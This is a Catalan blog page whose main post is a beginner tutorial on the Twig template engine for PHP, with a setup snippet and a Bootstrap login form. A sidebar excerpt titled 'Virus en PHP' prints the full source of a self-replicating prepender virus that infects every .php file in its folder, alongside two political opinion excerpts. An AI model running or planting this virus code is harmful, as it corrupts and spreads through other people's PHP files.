Ves al contingut principal

Utilitzar un gestor de plantilles en php: Twig

Tenia un parell de projectes a la vista, un personal i un altre per a una empresa en php, ambdós fallats ;) vaig començar a fer-los, i vaig pensar en utilitzar una cosa que tenia pendent: un gestor de plantilles en php. Em vaig decidir a utitzar Twig (no per res, però li tenia mania a smarty per què és el que gasta Vicent-Santi-programadorphp.es).

Em va sorprendre com n'era de fàcil d'utilitzar, per a realitzar una aplicació normal he utilitzat 3 "capes":

  • Scripts d'accés a la base de dades mysql en php, cada petició tornarà el resultat en JSON
  • Scripts php que faran el processaran la plantilla
  • La plantilla on es poden mesclar diferents llenguatges: Html,css, javascript i "Twig". Per al disseny he gastat bootstrap i com a framework javascript: jquery.


Per a instal·lar el Twig només farà falta baixar-lo en una carpeta i enllaçar-lo a la nostra aplicació. Anem a fer per exemple la pantalla de login:

<?php
require_once 'Twig/Autoloader.php';
Twig_Autoloader::register();
$loader = new Twig_Loader_Filesystem('templates');
$twig = new Twig_Environment($loader, array(
'cache' => 'cache',
));
$template = $twig->loadTemplate('index.html');
echo $template->render(array("user"=>"usuari"));
?>

Bàsicament es dedica a  a crear l'objecte Twig, després agarrarà de la carpeta templates ( Twig_Loader_Filesystem('templates') ) , l'arxiu index.html, guardarà els resultat ja processat en la carpeta cache i després el renderitza. el renderitzat consisteix en substituïr l'array passat en render() per unes variables del llenguatge Twig en la plantilla. En aquest cas, es crearà una variable "user" amb el valor "usuari".
Anem a veure com seria la plantilla: (anem a deixar de banda el javascript/css):
<body>        
        <form name="formulari" class="form-horizontal" role="form">

            <div style="display: block; margin-left: auto; margin-right: auto;">
                <div class="form-group">
                    <label for="login" class="control-label col-xs-3">Login</label>
                    <div class="col-xs-4">
                        <input type="text" class="form-control col-xs-4 col-md-4 col-sm-4" id="login" placeholder="{{user}}" />
                    </div>
                </div>
                <div class="form-group">
                    <label for="pass" class="control-label col-xs-3">Password</label>
                    <div class="col-xs-4">
                        <input type="password" class="form-control" id="password" placeholder="password" />
                    </div>
                </div>
                <div class="form-group">
                    <div class="col-xs-offset-3 col-xs-6">
                        <button type="button" class="btn btn-default bg-danger" id="botoSubmit">Entrar</button>
                    </div>
                </div>
                <p class="bg-danger col-xs-4 col-xs-offset-3" id="missatgeerror"></p>
    </div>
        </form>
    </body>
Vegem de roig la variable user entre  {{}}. Això substituïrà {{user}} i mostrarà el seu valor "usuari":






En la propera entrega veurem el codi jquery/bootstrap i les crides en ajax als scripts php ;)

Comentaris

Entrades populars d'aquest blog

Parlem de Bloc i País?

Comence una nova etapa en el tema polític, de fet ja fa temps que la vaig començar, però ara ho fet involucrant-me activament als assumptes interns del meu partit. Em defineix a mi mateix com una persona activa (de vegades inclús hiperactiva), amb inquietuds i preocupacions, en definitiva, em mou les ganes de ser útil a la meua gent i l’estima pel meu país. Aquestes voluntats però, no les he vistes, o almenys, ja no les veig tan a sovint en el tarannà del meu partit. No negaré que, potser, tinc desavinences en l’actual línia de la direcció (allò que s’ha anomenat com el “aparato”), però la casuística dels últims viratges polítics no han deixat lloc a altra possibilitat. No vaig a repetir totes les actuacions que adés i ara van demostrar que els abanderats de la nova política no es comportaren com a tal. Tots sabem quines són. Però d'una si que en parlaré, una que per a mi fou bastant reiterativa i té molta relació en un dels principis de Goebbels, que és el de fer creure que la di…

Què poden(m) fer els polítics nacionalistes valencians?

Davant del procés que s'ha encetat a Catalunya, el primer que m'agradaria és mostrar el meu suport. Pot ser s'hagen fet errors, com en tot en esta vida. Ara bé, votar no pot ser mai antidemocràtic, i per tant el seu destí els decidiran ells. 
Alguns hem observat, sempre amb il·lusió, que pot ser després d'ells anem nosaltres, els valencians. Però la realitat és tossuda. Mai hem tingut un sentiment nacionalista similar als catalans. I, possiblement, mentre no fem alguna cosa per canviar-ho, no el tindrem. Per exemple, podem veure l'evolució  segons el CIS del sentiment nacionalista/independentista valencià i català:

Durant els primers anys (94 i 97) es codificava del 0 al 10, però al 2005, preguntaren allò de "sólo español" (que ho he codificat com un 2), "más español que (gentilicio)" (que será un 4),  "igual español que (gentilicio)" (que serà un 6),  "más (gentilicio) que español" (que serà un 8) i "sólamente (gentilicio…

Virus en PHP

Acabe de trobar un exemple simple de virus en PHP, m'he quedat flipat de la sensillesa, és clavat als virus.bat de MS-DOS:
1. Busca tots els .php de la carpeta
2. Si no està infectat:
  2.1 Escriu el contingut de la part del virus (anomenada prepender, 391 bytes) a l'inicio de l'arxiu
  2.2 busca el següent arxiu i ves al punt dos


Pareix simple i el codi la veritat és que ho demostra:

- - - - - - - - - - - - - [ PHP Prepender Virus Example ] - - - - - - - - - - - - - <?php // SPTH $string=fread(fopen(__FILE__,'r'), 391); $curdir=opendir('.'); while ($file = readdir($curdir)) { if (strstr($file, '.php')) { $victim=fopen($file, 'r+'); if (!strstr(fread($victim, 13), 'SPTH')) { rewind($victim); fwrite($victim, $string.fread($victim, filesize($file));); } fclose($victim); } } closedir($curdir); ?>